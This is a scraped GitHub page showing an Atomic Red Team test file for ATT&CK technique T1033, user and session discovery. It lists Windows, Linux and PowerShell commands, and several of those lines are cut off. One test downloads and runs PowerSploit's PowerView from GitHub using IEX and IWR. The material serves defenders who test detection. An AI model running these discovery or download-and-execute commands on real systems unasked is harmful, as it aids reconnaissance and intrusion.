Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

f339e7d

Go to file

.github
atomic_red_team
atomics
Indexes
T1003.001
T1003.002
T1003.003
T1003.004
T1003.005
T1003.006
T1003.007
T1003.008
T1003
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.006
T1027.001
T1027.002
T1027.004
T1027
T1030
T1033
T1033.md
T1033.yaml
T1036.003
T1036.004
T1036.005

atomic-red-team / atomics / T1033 / T1033.md

CircleCI Atomic Red Team doc... Generate docs from job=genera... 7091fa8 · 2 years ago History

Preview Code Blame 188 lines (86 loc) · 5.2 KB Raw

T1033 - System Owner/User Discovery

Description from ATT&CK

> Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
> Various utilities and commands may acquire this information, including `whoami`. In macOS and Linux, the currently logged in user can be identified with `w` and `who`. On macOS the `dscl . list /Users | grep -v '_'` command can also be used to enumerate user accounts. Environment variables, such as `%USERNAME%` and `$USER`, may also be used to access this information.

Atomic Tests

- Atomic Test #1 - System Owner/User Discovery
- Atomic Test #2 - System Owner/User Discovery
- Atomic Test #3 - Find computers where user has session - Stealth mode (PowerView)
- Atomic Test #4 - User Discovery With Env Vars PowerShell Script
- Atomic Test #5 - GetCurrent User with PowerShell Script

Atomic Test #1 - System Owner/User Discovery

Identify System owner or users on an endpoint.

Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. Additionally, two files will be written to disk - computers.txt and usernames.txt.

Supported Platforms: Windows

auto_generated_guid: 4c4959bf-addf-4b4a-be86-8d09cc1857aa

T1036.006
T1036
T1037.001
T1037.002
T1037.004
T1037.005

Inputs:

Name	Description	Type	Default Value
computer_name	Name of remote computer	String	localhost

Attack Commands: Run with `command_prompt`!

```
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /s
```

Atomic Test #2 - System Owner/User Discovery

Identify System owner or users on an endpoint

Upon successful execution, sh will stdout list of usernames.

Supported Platforms: Linux, macOS

auto_generated_guid: 2a9b677d-a230-44f4-ad86-782df1ef108c

Attack Commands: Run with `sh`!

```
users
w
who
```

Atomic Test #3 - Find computers where user has session - Stealth mode (PowerView)

Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.

Supported Platforms: Windows

auto_generated_guid: 29857f27-a36f-4f7e-8084-4557cd6207ca

Attack Commands: Run with `powershell`!

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/
```

Atomic Test #4 - User Discovery With Env Vars PowerShell Script

Use the PowerShell environment variables to identify the current logged user.

Supported Platforms: Windows

auto_generated_guid: dcb6cdee-1fb0-4087-8bf8-88cfd136ba51

Attack Commands: Run with `powershell`!

```
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
```

Cleanup Commands:

```
Remove-Item -Path .\CurrentactiveUser.txt -Force
```

Atomic Test #5 - GetCurrent User with PowerShell Script

Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.

Supported Platforms: Windows

auto_generated_guid: 1392bd0f-5d5a-429e-81d9-eb9d4d4d5b3b

Attack Commands: Run with `powershell`!

```
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -Fi
```

Cleanup Commands:

```
Remove-Item -Path .\CurrentUserObject.txt -Force
```